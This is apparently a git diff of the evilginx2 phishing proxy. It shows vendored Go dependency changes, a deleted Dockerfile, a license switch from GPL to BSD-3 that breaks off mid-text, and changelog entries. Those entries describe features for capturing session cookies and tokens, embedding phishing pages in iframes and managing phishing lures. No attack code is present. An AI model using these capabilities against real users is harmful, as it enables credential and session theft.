delete mode 100644 vendor/golang.org/x/net/ipv4/defs_darwin.go
delete mode 100644 vendor/golang.org/x/net/ipv4/defs_dragonfly.go
delete mode 100644 vendor/golang.org/x/net/ipv4/defs_freebsd.go
delete mode 100644 vendor/golang.org/x/net/ipv4/defs_linux.go
delete mode 100644 vendor/golang.org/x/net/ipv4/defs_netbsd.go
delete mode 100644 vendor/golang.org/x/net/ipv4/defs_openbsd.go
delete mode 100644 vendor/golang.org/x/net/ipv4/defs_solaris.go
delete mode 100644 vendor/golang.org/x/net/ipv4/gen.go
create mode 100644 vendor/golang.org/x/net/ipv4/sys_zos.go
create mode 100644 vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go
create mode 100644 vendor/golang.org/x/net/ipv4/zsys_zos_s390x.go
delete mode 100644 vendor/golang.org/x/net/ipv6/defs_aix.go
delete mode 100644 vendor/golang.org/x/net/ipv6/defs_darwin.go
delete mode 100644 vendor/golang.org/x/net/ipv6/defs_dragonfly.go
delete mode 100644 vendor/golang.org/x/net/ipv6/defs_freebsd.go
delete mode 100644 vendor/golang.org/x/net/ipv6/defs_linux.go
delete mode 100644 vendor/golang.org/x/net/ipv6/defs_netbsd.go
delete mode 100644 vendor/golang.org/x/net/ipv6/defs_openbsd.go
delete mode 100644 vendor/golang.org/x/net/ipv6/defs_solaris.go
delete mode 100644 vendor/golang.org/x/net/ipv6/gen.go
create mode 100644 vendor/golang.org/x/net/ipv6/icmp_zos.go
create mode 100644 vendor/golang.org/x/net/ipv6/sys_zos.go
create mode 100644 vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go
create mode 100644 vendor/golang.org/x/net/ipv6/zsys_zos_s390x.go
delete mode 100644 vendor/golang.org/x/sys/AUTHORS
delete mode 100644 vendor/golang.org/x/sys/CONTRIBUTORS
create mode 100644 vendor/golang.org/x/sys/execabs/execabs.go
create mode 100644 vendor/golang.org/x/sys/execabs/execabs_go118.go
create mode 100644 vendor/golang.org/x/sys/execabs/execabs_go119.go
create mode 100644 vendor/golang.org/x/sys/internal/unsafeheader/unsafeheader.go
rename vendor/golang.org/x/sys/unix/{asm_darwin_386.s => asm_bsd_386.s} (70%)
rename vendor/golang.org/x/sys/unix/{asm_openbsd_amd64.s => asm_bsd_amd64.s} (71%)
rename vendor/golang.org/x/sys/unix/{asm_freebsd_arm.s => asm_bsd_arm.s} (74%)
rename vendor/golang.org/x/sys/unix/{asm_netbsd_amd64.s => asm_bsd_arm64.s} (73%)
rename vendor/golang.org/x/sys/unix/{asm_darwin_amd64.s => asm_bsd_riscv64.s} (73%)
delete mode 100644 vendor/golang.org/x/sys/unix/asm_darwin_arm.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_darwin_arm64.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_freebsd_386.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_freebsd_amd64.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_freebsd_arm64.s
create mode 100644 vendor/golang.org/x/sys/unix/asm_linux_loong64.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_netbsd_386.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_netbsd_arm.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_netbsd_arm64.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_openbsd_386.s
delete mode 100644 vendor/golang.org/x/sys/unix/asm_openbsd_arm.s
rename vendor/golang.org/x/sys/unix/{asm_openbsd_arm64.s => asm_openbsd_mips64.s} (89%)
create mode 100644 vendor/golang.org/x/sys/unix/asm_zos_s390x.s
create mode 100644 vendor/golang.org/x/sys/unix/dev_zos.go
create mode 100644 vendor/golang.org/x/sys/unix/epoll_zos.go
delete mode 100644 vendor/golang.org/x/sys/unix/errors_freebsd_386.go
delete mode 100644 vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
delete mode 100644 vendor/golang.org/x/sys/unix/errors_freebsd_arm.go
delete mode 100644 vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
create mode 100644 vendor/golang.org/x/sys/unix/fstatfs_zos.go
create mode 100644 vendor/golang.org/x/sys/unix/ifreq_linux.go
create mode 100644 vendor/golang.org/x/sys/unix/ioctl_linux.go
create mode 100644 vendor/golang.org/x/sys/unix/ioctl_zos.go
delete mode 100644 vendor/golang.org/x/sys/unix/mkasm_darwin.go
delete mode 100644 vendor/golang.org/x/sys/unix/mkmerge.go
delete mode 100644 vendor/golang.org/x/sys/unix/mkpost.go
delete mode 100644 vendor/golang.org/x/sys/unix/mksyscall.go
delete mode 100644 vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go
delete mode 100644 vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go
delete mode 100644 vendor/golang.org/x/sys/unix/mksyscall_solaris.go
delete mode 100644 vendor/golang.org/x/sys/unix/mksysctl_openbsd.go
delete mode 100644 vendor/golang.org/x/sys/unix/mksysnum.go
create mode 100644 vendor/golang.org/x/sys/unix/ptrace_darwin.go
create mode 100644 vendor/golang.org/x/sys/unix/ptrace_ios.go
delete mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go
delete mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_386.go
delete mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go
delete mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_arm.go
delete mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go
create mode 100644 vendor/golang.org/x/sys/unix/syscall_freebsd_riscv64.go
create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_alarm.go
create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gc_arm.go
create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_loong64.go
create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_ppc.go
create mode 100644 vendor/golang.org/x/sys/unix/syscall_openbsd_mips64.go
create mode 100644 vendor/golang.org/x/sys/unix/syscall_zos_s390x.go
create mode 100644 vendor/golang.org/x/sys/unix/sysvshm_linux.go
create mode 100644 vendor/golang.org/x/sys/unix/sysvshm_unix.go
create mode 100644 vendor/golang.org/x/sys/unix/sysvshm_unix_other.go
delete mode 100644 vendor/golang.org/x/sys/unix/types_aix.go
delete mode 100644 vendor/golang.org/x/sys/unix/types_darwin.go
delete mode 100644 vendor/golang.org/x/sys/unix/types_dragonfly.go
delete mode 100644 vendor/golang.org/x/sys/unix/types_freebsd.go
delete mode 100644 vendor/golang.org/x/sys/unix/types_netbsd.go
delete mode 100644 vendor/golang.org/x/sys/unix/types_openbsd.go
delete mode 100644 vendor/golang.org/x/sys/unix/types_solaris.go
delete mode 100644 vendor/golang.org/x/sys/unix/zerrors_darwin_arm.go
create mode 100644 vendor/golang.org/x/sys/unix/zerrors_freebsd_riscv64.go
create mode 100644 vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go
create mode 100644 vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go
rename vendor/golang.org/x/sys/unix/{zerrors_darwin_386.go => zerrors_openbsd_mips64.go} (52%)
create mode 100644 vendor/golang.org/x/sys/unix/zerrors_zos_s390x.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_11.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_11.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s
rename vendor/golang.org/x/sys/unix/{zsyscall_darwin_amd64.1_11.go => zsyscall_freebsd_riscv64.go} (82%)
create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_linux_loong64.go
create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_linux_ppc.go
rename vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm64.1_11.go => zsyscall_openbsd_mips64.go} (85%)
create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_zos_s390x.go
create mode 100644 vendor/golang.org/x/sys/unix/zsysctl_openbsd_mips64.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsysnum_darwin_386.go
delete mode 100644 vendor/golang.org/x/sys/unix/zsysnum_darwin_arm.go
create mode 100644 vendor/golang.org/x/sys/unix/zsysnum_freebsd_riscv64.go
create mode 100644 vendor/golang.org/x/sys/unix/zsysnum_linux_loong64.go
create mode 100644 vendor/golang.org/x/sys/unix/zsysnum_linux_ppc.go
create mode 100644 vendor/golang.org/x/sys/unix/zsysnum_openbsd_mips64.go
create mode 100644 vendor/golang.org/x/sys/unix/zsysnum_zos_s390x.go
delete mode 100644 vendor/golang.org/x/sys/unix/ztypes_darwin_386.go
delete mode 100644 vendor/golang.org/x/sys/unix/ztypes_darwin_arm.go
create mode 100644 vendor/golang.org/x/sys/unix/ztypes_freebsd_riscv64.go
create mode 100644 vendor/golang.org/x/sys/unix/ztypes_illumos_amd64.go
create mode 100644 vendor/golang.org/x/sys/unix/ztypes_linux_loong64.go
create mode 100644 vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go
create mode 100644 vendor/golang.org/x/sys/unix/ztypes_openbsd_mips64.go
create mode 100644 vendor/golang.org/x/sys/unix/ztypes_zos_s390x.go
create mode 100644 vendor/golang.org/x/sys/windows/setupapi_windows.go
create mode 100644 vendor/golang.org/x/sys/windows/types_windows_arm64.go
delete mode 100644 vendor/golang.org/x/text/unicode/bidi/gen.go
delete mode 100644 vendor/golang.org/x/text/unicode/bidi/gen_ranges.go
delete mode 100644 vendor/golang.org/x/text/unicode/bidi/gen_trieval.go
create mode 100644 vendor/golang.org/x/text/unicode/bidi/tables12.0.0.go
create mode 100644 vendor/golang.org/x/text/unicode/bidi/tables13.0.0.go
delete mode 100644 vendor/golang.org/x/text/unicode/norm/maketables.go
create mode 100644 vendor/golang.org/x/text/unicode/norm/tables12.0.0.go
create mode 100644 vendor/golang.org/x/text/unicode/norm/tables13.0.0.go
delete mode 100644 vendor/golang.org/x/text/unicode/norm/triegen.go
create mode 100644 vendor/golang.org/x/tools/LICENSE
create mode 100644 vendor/golang.org/x/tools/PATENTS
create mode 100644 vendor/golang.org/x/tools/go/gcexportdata/gcexportdata.go
create mode 100644 vendor/golang.org/x/tools/go/gcexportdata/importer.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/bexport.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/bimport.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/exportdata.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/gcimporter.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/iexport.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/iimport.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/newInterface10.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/newInterface11.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/support_go117.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/support_go118.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/unified_no.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/unified_yes.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/ureader_no.go
create mode 100644 vendor/golang.org/x/tools/go/internal/gcimporter/ureader_yes.go
create mode 100644 vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/codes.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/decoder.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/doc.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/encoder.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/flags.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/frames_go1.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/frames_go17.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/reloc.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/support.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/sync.go
create mode 100644 vendor/golang.org/x/tools/go/internal/pkgbits/syncmarker_string.go
create mode 100644 vendor/golang.org/x/tools/go/packages/doc.go
create mode 100644 vendor/golang.org/x/tools/go/packages/external.go
create mode 100644 vendor/golang.org/x/tools/go/packages/golist.go
create mode 100644 vendor/golang.org/x/tools/go/packages/golist_overlay.go
create mode 100644 vendor/golang.org/x/tools/go/packages/loadmode_string.go
create mode 100644 vendor/golang.org/x/tools/go/packages/packages.go
create mode 100644 vendor/golang.org/x/tools/go/packages/visit.go
create mode 100644 vendor/golang.org/x/tools/internal/event/core/event.go
create mode 100644 vendor/golang.org/x/tools/internal/event/core/export.go
create mode 100644 vendor/golang.org/x/tools/internal/event/core/fast.go
rename vendor/golang.org/x/{sys/unix/syscall_darwin_arm.1_11.go => tools/internal/event/doc.go} (53%)
create mode 100644 vendor/golang.org/x/tools/internal/event/event.go
create mode 100644 vendor/golang.org/x/tools/internal/event/keys/keys.go
create mode 100644 vendor/golang.org/x/tools/internal/event/keys/standard.go
create mode 100644 vendor/golang.org/x/tools/internal/event/label/label.go
create mode 100644 vendor/golang.org/x/tools/internal/gocommand/invoke.go
create mode 100644 vendor/golang.org/x/tools/internal/gocommand/vendor.go
create mode 100644 vendor/golang.org/x/tools/internal/gocommand/version.go
create mode 100644 vendor/golang.org/x/tools/internal/packagesinternal/packages.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/common.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/coretype.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/enabled_go117.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/enabled_go118.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/normalize.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/termlist.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/typeparams_go117.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/typeparams_go118.go
create mode 100644 vendor/golang.org/x/tools/internal/typeparams/typeterm.go
create mode 100644 vendor/golang.org/x/tools/internal/typesinternal/errorcode.go
create mode 100644 vendor/golang.org/x/tools/internal/typesinternal/errorcode_string.go
create mode 100644 vendor/golang.org/x/tools/internal/typesinternal/types.go
create mode 100644 vendor/golang.org/x/tools/internal/typesinternal/types_118.go
create mode 100644 vendor/gopkg.in/ini.v1/.editorconfig
create mode 100644 vendor/gopkg.in/ini.v1/.gitignore
create mode 100644 vendor/gopkg.in/ini.v1/.golangci.yml
create mode 100644 vendor/gopkg.in/ini.v1/LICENSE
create mode 100644 vendor/gopkg.in/ini.v1/Makefile
create mode 100644 vendor/gopkg.in/ini.v1/README.md
create mode 100644 vendor/gopkg.in/ini.v1/codecov.yml
create mode 100644 vendor/gopkg.in/ini.v1/data_source.go
create mode 100644 vendor/gopkg.in/ini.v1/deprecated.go
create mode 100644 vendor/gopkg.in/ini.v1/error.go
create mode 100644 vendor/gopkg.in/ini.v1/file.go
create mode 100644 vendor/gopkg.in/ini.v1/helper.go
create mode 100644 vendor/gopkg.in/ini.v1/ini.go
create mode 100644 vendor/gopkg.in/ini.v1/key.go
create mode 100644 vendor/gopkg.in/ini.v1/parser.go
create mode 100644 vendor/gopkg.in/ini.v1/section.go
create mode 100644 vendor/gopkg.in/ini.v1/struct.go
delete mode 100644 vendor/gopkg.in/yaml.v2/go.mod
diff --git a/.gitignore b/.gitignore
index bb020956d..e31d61581 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,6 +1,3 @@
-bin/
-docs/
-img/
release/
build/
-phishlets/test-*
\ No newline at end of file
+private/
diff --git a/CHANGELOG b/CHANGELOG
index 7bd26472b..b59a48df9 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,4 +1,26 @@
-2.4.0
+# 3.0.0
+- Feature: TLS certificates from LetsEncrypt will now get automatically renewed.
+- Feature: Automated retrieval and renewal of LetsEncrypt TLS certificates is now managed by `certmagic` library.
+- Feature: Authentication tokens can now be captured not only from cookies, but also from response body and HTTP headers.
+- Feature: Phishing pages can now be embedded inside of iframes.
+- Feature: Changed redirection after successful session capture from `Location` header redirection to injected Javascript redirection.
+- Feature: Changed config file from `config.yaml` to `config.json`, permanently changing the configuration format to JSON.
+- Feature: Changed open-source license from GPL to BSD-3.
+- Feature: Added `always` modifier for capturing authentication cookies, forcing to capture a cookie even if it has no expiration time.
+- Feature: Added `phishlet ` command to show details of a specific phishlet.
+- Feature: Added phishlet templates, allowing to create child phishlets with custom parameters like pre-configured subdomain or domain. Parameters can be defined anywhere in the phishlet file as `{param_name}` and every occurence will be replaced with pre-configured parameter values of the created child phishlet.
+- Feature: Added `phishlet create` command to create child phishlets from template phishlets.
+- Feature: Renamed lure `templates` to lure `redirectors` due to name conflict with phishlet templates.
+- Feature: Added `{orig_hostname}` and `{orig_domain}` support for `sub_filters` phishlet setting.
+- Feature: Added `{basedomain}` and `{basedomain_regexp}` support for `sub_filters` phishlet setting.
+- Fixed: One target can now have multiple phishing sessions active for several different phishlets.
+- Fixed: Cookie capture from HTTP packet response will not stop mid-term, ignoring missing `opt` cookies, when all authentication cookies are already captured.
+- Fixed: `trigger_paths` regexp will now match a full string instead of triggering true when just part of it is detected in URL path.
+- Fixed: Phishlet table rows are now sorted alphabetically.
+- Fixed: Improved phishing session management to always create a new session when lure URL is hit if session cookie is not present, even when IP whitelist is set.
+- Fixed: WebSocket connections are now properly proxied.
+
+# 2.4.0
- Feature: Create and set up pre-phish HTML templates for your campaigns. Create your HTML file and place `{lure_url_html}` or `{lure_url_js}` in code to manage redirection to the phishing page with any form of user interaction. Command: `lures edit template `
- Feature: Create customized hostnames for every phishing lure. Command: `lures edit hostname `.
- Feature: Support for routing connection via SOCKS5 and HTTP(S) proxies. Command: `proxy`.
@@ -14,19 +36,19 @@
- Improved autofill for `lures edit` commands and switched positions of `` and the variable name.
- Increased the duration of whitelisting authorized connections for whole IP address from 15 seconds to 10 minutes.
-2.3.3
+# 2.3.3
- Fixed: Multiple concurrent map writes when whitelisting IPs during heavy loads.
-2.3.2
+# 2.3.2
- ACMEv2 support added to comply with LetsEncrypt requirements.
- Fixed session cookie output to support EditThisCookie on the latest Chrome version.
- Increased timeouts for proxying HTTP packets to 45 seconds.
- Added support for Go modules.
-2.3.1
+# 2.3.1
- Redirection is now triggered only for responses with `text/html` content-type header.
-2.3.0
+# 2.3.0
- Proxy can now create most of required `sub_filters` on its own, making it much easier to create new phishlets.
- Added lures, with which you can prepare custom phishing URLs with each having its own set of unique options (`help lures` for more info).
- Added OpenGraph settings for lures, allowing to create enticing content for link previews.
@@ -34,10 +56,10 @@
- Injected Javascript can be customized with values of custom parameters, specified in lure options.
- Deprecated `landing_path` and replaced it with `login` section, which contains the domain and path for website's login page.
-2.2.1
+# 2.2.1
- Fixed: `type` with value `json` was not correctly activated when set under `credentials`.
-2.2.0
+# 2.2.0
- Now when any of `auth_urls` is triggered, the redirection will take place AFTER response cookies for that request are captured.
- Regular expression groups working with `sub_filters`.
- Phishlets are now listed in a table.
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index 65ff15426..000000000
--- a/Dockerfile
+++ /dev/null
@@ -1,36 +0,0 @@
-FROM golang:1.13.1-alpine as build
-
-RUN apk add --update \
- git \
- && rm -rf /var/cache/apk/*
-
-RUN wget -O /usr/local/bin/dep https://github.com/golang/dep/releases/download/v0.5.0/dep-linux-amd64 && chmod +x /usr/local/bin/dep
-
-WORKDIR /go/src/github.com/kgretzky/evilginx2
-
-COPY go.mod go.sum ./
-
-ENV GO111MODULE on
-
-RUN go mod download
-
-COPY . /go/src/github.com/kgretzky/evilginx2
-
-RUN go build -o ./bin/evilginx main.go
-
-FROM alpine:3.8
-
-RUN apk add --update \
- ca-certificates \
- && rm -rf /var/cache/apk/*
-
-WORKDIR /app
-
-COPY --from=build /go/src/github.com/kgretzky/evilginx2/bin/evilginx /app/evilginx
-COPY ./phishlets/*.yaml /app/phishlets/
-
-VOLUME ["/app/phishlets/"]
-
-EXPOSE 443 80 53/udp
-
-ENTRYPOINT ["/app/evilginx"]
diff --git a/LICENSE b/LICENSE
index 175443ce8..40e437d88 100644
--- a/LICENSE
+++ b/LICENSE
@@ -1,595 +1,27 @@
-GNU General Public License
-==========================
-
-_Version 3, 29 June 2007_
-_Copyright © 2007 Free Software Foundation, Inc. <>_
-
-Everyone is permitted to copy and distribute verbatim copies of this license
-document, but changing it is not allowed.
-
-## Preamble
-
-The GNU General Public License is a free, copyleft license for software and other
-kinds of works.
-
-The licenses for most software and other practical works are designed to take away
-your freedom to share and change the works. By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change all versions of a
-program--to make sure it remains free software for all its users. We, the Free
-Software Foundation, use the GNU General Public License for most of our software; it
-applies also to any other work released this way by its authors. You can apply it to
-your programs, too.
-
-When we speak of free software, we are referring to freedom, not price. Our General
-Public Licenses are designed to make sure that you have the freedom to distribute
-copies of free software (and charge for them if you wish), that you receive source
-code or can get it if you want it, that you can change the software or use pieces of
-it in new free programs, and that you know you can do these things.
-
-To protect your rights, we need to prevent others from denying you these rights or
-asking you to surrender the rights. Therefore, you have certain responsibilities if
-you distribute copies of the software, or if you modify it: responsibilities to
-respect the freedom of others.
-
-For example, if you distribute copies of such a program, whether gratis or for a fee,
-you must pass on to the recipients the same freedoms that you received. You must make
-sure that they, too, receive or can get the source code. And you must show them these
-terms so they know their rights.
-
-Developers that use the GNU GPL protect your rights with two steps: **(1)** assert
-copyright on the software, and **(2)** offer you this License giving you legal permission
-to copy, distribute and/or modify it.
-
-For the developers' and authors' protection, the GPL clearly explains that there is
-no warranty for this free software. For both users' and authors' sake, the GPL
-requires that modified versions be marked as changed, so that their problems will not
-be attributed erroneously to authors of previous versions.
-
-Some devices are designed to deny users access to install or run modified versions of
-the software inside them, although the manufacturer can do so. This is fundamentally
-incompatible with the aim of protecting users' freedom to change the software. The
-systematic pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable. Therefore, we have designed
-this version of the GPL to prohibit the practice for those products. If such problems
-arise substantially in other domains, we stand ready to extend this provision to
-those domains in future versions of the GPL, as needed to protect the freedom of
-users.
-
-Finally, every program is threatened constantly by software patents. States should
-not allow patents to restrict development and use of software on general-purpose
-computers, but in those that do, we wish to avoid the special danger that patents
-applied to a free program could make it effectively proprietary. To prevent this, the
-GPL assures that patents cannot be used to render the program non-free.
-
-The precise terms and conditions for copying, distribution and modification follow.
-
-## TERMS AND CONDITIONS
-
-### 0. Definitions
-
-“This License” refers to version 3 of the GNU General Public License.
-
-“Copyright” also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
-“The Program” refers to any copyrightable work licensed under this
-License. Each licensee is addressed as “you”. “Licensees” and
-“recipients” may be individuals or organizations.
-
-To “modify” a work means to copy from or adapt all or part of the work in
-a fashion requiring copyright permission, other than the making of an exact copy. The
-resulting work is called a “modified version” of the earlier work or a
-work “based on” the earlier work.
-
-A “covered work” means either the unmodified Program or a work based on
-the Program.
-
-To “propagate” a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for infringement under
-applicable copyright law, except executing it on a computer or modifying a private
-copy. Propagation includes copying, distribution (with or without modification),
-making available to the public, and in some countries other activities as well.
-
-To “convey” a work means any kind of propagation that enables other
-parties to make or receive copies. Mere interaction with a user through a computer
-network, with no transfer of a copy, is not conveying.
-
-An interactive user interface displays “Appropriate Legal Notices” to the
-extent that it includes a convenient and prominently visible feature that **(1)**
-displays an appropriate copyright notice, and **(2)** tells the user that there is no
-warranty for the work (except to the extent that warranties are provided), that
-licensees may convey the work under this License, and how to view a copy of this
-License. If the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
-### 1. Source Code
-
-The “source code” for a work means the preferred form of the work for
-making modifications to it. “Object code” means any non-source form of a
-work.
-
-A “Standard Interface” means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of interfaces
-specified for a particular programming language, one that is widely used among
-developers working in that language.
-
-The “System Libraries” of an executable work include anything, other than
-the work as a whole, that **(a)** is included in the normal form of packaging a Major
-Component, but which is not part of that Major Component, and **(b)** serves only to
-enable use of the work with that Major Component, or to implement a Standard
-Interface for which an implementation is available to the public in source code form.
-A “Major Component”, in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system (if any) on which
-the executable work runs, or a compiler used to produce the work, or an object code
-interpreter used to run it.
-
-The “Corresponding Source” for a work in object code form means all the
-source code needed to generate, install, and (for an executable work) run the object
-code and to modify the work, including scripts to control those activities. However,
-it does not include the work's System Libraries, or general-purpose tools or
-generally available free programs which are used unmodified in performing those
-activities but which are not part of the work. For example, Corresponding Source
-includes interface definition files associated with source files for the work, and
-the source code for shared libraries and dynamically linked subprograms that the work
-is specifically designed to require, such as by intimate data communication or
-control flow between those subprograms and other parts of the work.
-
-The Corresponding Source need not include anything that users can regenerate
-automatically from other parts of the Corresponding Source.
-
-The Corresponding Source for a work in source code form is that same work.
-
-### 2. Basic Permissions
-
-All rights granted under this License are granted for the term of copyright on the
-Program, and are irrevocable provided the stated conditions are met. This License
-explicitly affirms your unlimited permission to run the unmodified Program. The
-output from running a covered work is covered by this License only if the output,
-given its content, constitutes a covered work. This License acknowledges your rights
-of fair use or other equivalent, as provided by copyright law.
-
-You may make, run and propagate covered works that you do not convey, without
-conditions so long as your license otherwise remains in force. You may convey covered
-works to others for the sole purpose of having them make modifications exclusively
-for you, or provide you with facilities for running those works, provided that you
-comply with the terms of this License in conveying all material for which you do not
-control copyright. Those thus making or running the covered works for you must do so
-exclusively on your behalf, under your direction and control, on terms that prohibit
-them from making any copies of your copyrighted material outside their relationship
-with you.
-
-Conveying under any other circumstances is permitted solely under the conditions
-stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
-
-### 3. Protecting Users' Legal Rights From Anti-Circumvention Law
-
-No covered work shall be deemed part of an effective technological measure under any
-applicable law fulfilling obligations under article 11 of the WIPO copyright treaty
-adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention
-of such measures.
-
-When you convey a covered work, you waive any legal power to forbid circumvention of
-technological measures to the extent such circumvention is effected by exercising
-rights under this License with respect to the covered work, and you disclaim any
-intention to limit operation or modification of the work as a means of enforcing,
-against the work's users, your or third parties' legal rights to forbid circumvention
-of technological measures.
-
-### 4. Conveying Verbatim Copies
-
-You may convey verbatim copies of the Program's source code as you receive it, in any
-medium, provided that you conspicuously and appropriately publish on each copy an
-appropriate copyright notice; keep intact all notices stating that this License and
-any non-permissive terms added in accord with section 7 apply to the code; keep
-intact all notices of the absence of any warranty; and give all recipients a copy of
-this License along with the Program.
-
-You may charge any price or no price for each copy that you convey, and you may offer
-support or warranty protection for a fee.
-
-### 5. Conveying Modified Source Versions
-
-You may convey a work based on the Program, or the modifications to produce it from
-the Program, in the form of source code under the terms of section 4, provided that
-you also meet all of these conditions:
-
-* **a)** The work must carry prominent notices stating that you modified it, and giving a
-relevant date.
-* **b)** The work must carry prominent notices stating that it is released under this
-License and any conditions added under section 7. This requirement modifies the
-requirement in section 4 to “keep intact all notices”.
-* **c)** You must license the entire work, as a whole, under this License to anyone who
-comes into possession of a copy. This License will therefore apply, along with any
-applicable section 7 additional terms, to the whole of the work, and all its parts,
-regardless of how they are packaged. This License gives no permission to license the
-work in any other way, but it does not invalidate such permission if you have
-separately received it.
-* **d)** If the work has interactive user interfaces, each must display Appropriate Legal
-Notices; however, if the Program has interactive interfaces that do not display
-Appropriate Legal Notices, your work need not make them do so.
-
-A compilation of a covered work with other separate and independent works, which are
-not by their nature extensions of the covered work, and which are not combined with
-it such as to form a larger program, in or on a volume of a storage or distribution
-medium, is called an “aggregate” if the compilation and its resulting
-copyright are not used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit. Inclusion of a covered work in an aggregate
-does not cause this License to apply to the other parts of the aggregate.
-
-### 6. Conveying Non-Source Forms
-
-You may convey a covered work in object code form under the terms of sections 4 and
-5, provided that you also convey the machine-readable Corresponding Source under the
-terms of this License, in one of these ways:
-
-* **a)** Convey the object code in, or embodied in, a physical product (including a
-physical distribution medium), accompanied by the Corresponding Source fixed on a
-durable physical medium customarily used for software interchange.
-* **b)** Convey the object code in, or embodied in, a physical product (including a
-physical distribution medium), accompanied by a written offer, valid for at least
-three years and valid for as long as you offer spare parts or customer support for
-that product model, to give anyone who possesses the object code either **(1)** a copy of
-the Corresponding Source for all the software in the product that is covered by this
-License, on a durable physical medium customarily used for software interchange, for
-a price no more than your reasonable cost of physically performing this conveying of
-source, or **(2)** access to copy the Corresponding Source from a network server at no
-charge.
-* **c)** Convey individual copies of the object code with a copy of the written offer to
-provide the Corresponding Source. This alternative is allowed only occasionally and
-noncommercially, and only if you received the object code with such an offer, in
-accord with subsection 6b.
-* **d)** Convey the object code by offering access from a designated place (gratis or for
-a charge), and offer equivalent access to the Corresponding Source in the same way
-through the same place at no further charge. You need not require recipients to copy
-the Corresponding Source along with the object code. If the place to copy the object
-code is a network server, the Corresponding Source may be on a different server
